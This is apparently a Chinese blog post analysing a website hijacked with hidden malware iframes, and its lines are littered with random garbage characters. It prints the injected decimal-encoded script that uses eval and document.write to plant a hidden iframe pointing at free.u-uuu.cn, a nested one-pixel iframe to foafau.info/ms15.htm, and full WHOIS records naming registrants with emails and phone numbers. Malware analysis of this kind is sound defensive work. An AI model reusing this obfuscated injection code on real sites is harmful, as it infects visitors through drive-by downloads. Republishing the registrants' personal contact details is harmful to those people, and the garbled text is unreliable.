首发在我的博客里面，
sx
9u V A\$
> >Z http://www.areway.cn/?p=175 M#,Q
^rH# j6g@tx^)' vl:J40Kfn 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
s8<gK.atl ,^$ |R32 <script>t=’60,105,102,114,97,109,101,
,gx)w^WTm 32,115,114,99,61,104,116,116,112,58,47,47,
3[IJhR[ 102,114,101,101,46,117,45,117,117,117,46,99,
#0"~G][# 110,47,101,114,114,111,114,46,104,116,109,
+(?>-3_z 32,119,105,100,116,104,61,49,48,48,32,104,
U \oy8FZ 101,105,103,104,116,61,48,62,60,47,105,102,
k V&9`c+ 114,97,109,101,62′;
a eP[+ I9 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
cpZc9;@IC S%mfs!E> <script>t=’60,105,102,114,97,109,101,32,115,
Ug%_@t/? 114,99,61,104,116,116,112,58,47,47,102,114,
jQh^WmN 101,101,46,117,45,117,117,117,46,99,110,47,
{Wv% zA*8 101,114,114,111,114,46,104,116,109,32,119,
'g)n1 { 105,100,116,104,61,49,48,48,32,104,101,105,
U|@V
74 103,104,116,61,48,62,60,47,105,102,114,97,
h7yqk4'Lq 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Ev9 > @~^ document.write(t);</script>
$ uh z OCV+h' <html xmlns=”
l7}g^\I http://www.w3.org/1999/xhtml K@u &(} “>
m:+8J,jW <head>
gfa[4
z <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Q2|p \rO <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
_\8qwDg"#e <title>首页 - 爱生活家庭网
aP-<4uGx Ykqyk')wm 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
bzZ>lyH 转换字符串后的大概内容是（谁点击后果自付）：
b-^p1{A0zW <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
kkCZNQ~I 3Q By\1h. 查询玉米u-uuu.cn的详细信息：
HU ;#XU1 Domain Name: u-uuu.cn
uJU*")\V ROID: 20070901s10001s64972306-cn
1wj:aD?g Domain Status: ok
/JJw 6[ N Registrant Organization: 王雷
n,'OiVl[ Registrant Name: 王雷
h9s >LY Administrative Email:
czlovexs@126.com FM w&( Sponsoring Registrar: 北京万网志成科技有限公司
'0RwO[A#1 Name Server:ns.yovole.com
G" SBYU Name Server:ns1.yovole.com
{zLhiUH
a0 Registration Date: 2007-09-01 17:54
3ec`Wa
Expiration Date: 2008-09-01 17:54
iw9Q18:I} 最后PING了一下地址 都没有什么….
5F"|E-; B4Y(?JT x 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
#*%q'gyHT <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
tY|8s]{2 <script language=”javascript” src=”
~x:DXEV, http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script w.{&= WTr >
v-b0\_ 这个玉米应该有可能是木马作者的：
lU Ovm\ foafau.info的详细信息：
$md%x mQ[ Access to INFO WHOIS information is provided to assist persons in
c=O,;lWFqm determining the contents of a domain name registration record in the
w'T q 3-%V Afilias registry database. The data in this record is provided by
-~{c
u47_ Afilias Limited for informational purposes only, and Afilias does not
K2)!h.W guarantee its accuracy. This service is intended only for query-based
iBg3mc@OO access. You agree that you will use this data only for lawful purposes
uQ1@b-e`5 and that, under no circumstances will you use this data to: (a) allow,
o{:xp r=( enable, or otherwise support the transmission by e-mail, telephone, or
b*kf WG-6t facsimile of mass unsolicited, commercial advertising or solicitations
XOP"Px@ to entities other than the data recipient’s own existing customers; or
/ ~ %KVe (b) enable high volume, automated, electronic processes that send
.Pndx%X9s queries or data to the systems of Registry Operator, a Registrar, or
J ju#iwb Afilias except as reasonably necessary to register domain names or
r=uN9ro modify existing registrations. All rights reserved. Afilias reserves
o{qr !*_3 the right to modify these terms at any time. By submitting this query,
[Nm4sI 11 you agree to abide by this policy.
Sjj>#}U Domain ID:D22418703-LRMS
=8Jfgq9E Domain Name:FOAFAU.INFO
M~e0lg8 Created On:20-Nov-2007 16:05:42 UTC
k%c{E TdE Last Updated On:20-Nov-2007 16:05:44 UTC
d UrElXbXd Expiration Date:20-Nov-2008 16:05:42 UTC
||7x;2e Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
LW6ZAETyL Status:CLIENT DELETE PROHIBITED
y9H%
Xl Status:CLIENT RENEW PROHIBITED
<x pph
t< Status:CLIENT TRANSFER PROHIBITED
ZUm?*.g\^ Status:CLIENT UPDATE PROHIBITED
\>. LW9 Status:TRANSFER PROHIBITED
1/+C5Bp* Registrant ID:GODA-040110615
{$D,?V@%_ Registrant Name:liu hong
> et-{(G Registrant Organization:
*iO u' Registrant Street1:beijing
en S}A*Io Registrant Street2:
s8"8y`u Registrant Street3:
{P%9 Registrant City:beijing
H 9XvO Registrant State/Province:
7cP@jj Registrant Postal Code:100000
<*ZJaBwWU~ Registrant Country:CN
4rT*t W"U Registrant Phone:+86.860108888777
:$;Fhf<5 Registrant Phone Ext.:
f
3V Dv9( Registrant FAX:
O|IG_RL] Registrant FAX Ext.:
BF*kb2"GZ6 Registrant Email:bbbshiji@163.com
$
i)bq6 Admin ID:GODA-240110615
!%+2Yifna Admin Name:liu hong
jd]s<C3o Admin Organization:
"xI" Admin Street1:beijing
aim arU Admin Street2:
qU2~fNY Admin Street3:
k %e^kej Admin City:beijing
{R<Ea
@LV+ Admin State/Province:
>zsid : Admin Postal Code:100000
/-_=nf}w Admin Country:CN
x5`br.b Admin Phone:+86.860108888777
|:[tNs*,O Admin Phone Ext.:
+CH},@j Admin FAX:
K;?,FlH Admin FAX Ext.:
<~ad: [ Admin Email:bbbshiji@163.com
6fH@wQ"wN Billing ID:GODA-340110615
q\Q{sv_ Billing Name:liu hong
TNCgaTJ{h Billing Organization:
d<!3`qe Billing Street1:beijing
3`d}~v { Billing Street2:
?_x
q- Billing Street3:
s^0/"j |7 Billing City:beijing
4'j
sDcs Billing State/Province:
F^"_TV0va Billing Postal Code:100000
`e9$, h|4 Billing Country:CN
Q?ahr~qo Billing Phone:+86.860108888777
1wzqGmjmt Billing Phone Ext.:
fx=Awba Billing FAX:
,g-EW
jN Billing FAX Ext.:
6R- &-4 Billing Email:bbbshiji@163.com
YBYZ=,"d Tech ID:GODA-140110615
K 8n4oz#z Tech Name:liu hong
>EL)X
#e Tech Organization:
hT$~ygQ Tech Street1:beijing
qPB8O1fyU Tech Street2:
t O7v4 Tech Street3:
LTNj| u Tech City:beijing
3 !Sp0P Tech State/Province:
:q 8b ;*: Tech Postal Code:100000
iHwLZ[O{ Tech Country:CN
UNijF Gi Tech Phone:+86.860108888777
=PRx?q`d Tech Phone Ext.:
S)QAXjH Tech FAX:
;Op3?_ Tech FAX Ext.:
+4[^!q*
H Tech Email:bbbshiji@163.com
s2?T5oWU Name Server:NS27.DOMAINCONTROL.COM
Q~R
~xz Name Server:NS28.DOMAINCONTROL.COM
Q9I
j\HbA" Name Server:
WLF0US' Name Server:
8^Hn"v Name Server:
}I 3 gU Name Server:
G+B~Ix- Name Server:
M02uO`Y9 Name Server:
4 S~o-`&W Name Server:
h\ plQ[T Name Server:
8N:owK Name Server:
&_J D)mM5 Name Server:
4}_O`Uxh Name Server:
Gl1jxxd ,Jc m+ Wb 接着下载每个文件里面的代码：
"UEv&mQ 一步一步看..
lb'GXd % 
T\Uek- ( 
iXyO(w4D 
<0yE
5Mrf 
>=]'hyn]] 
f;/QJ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
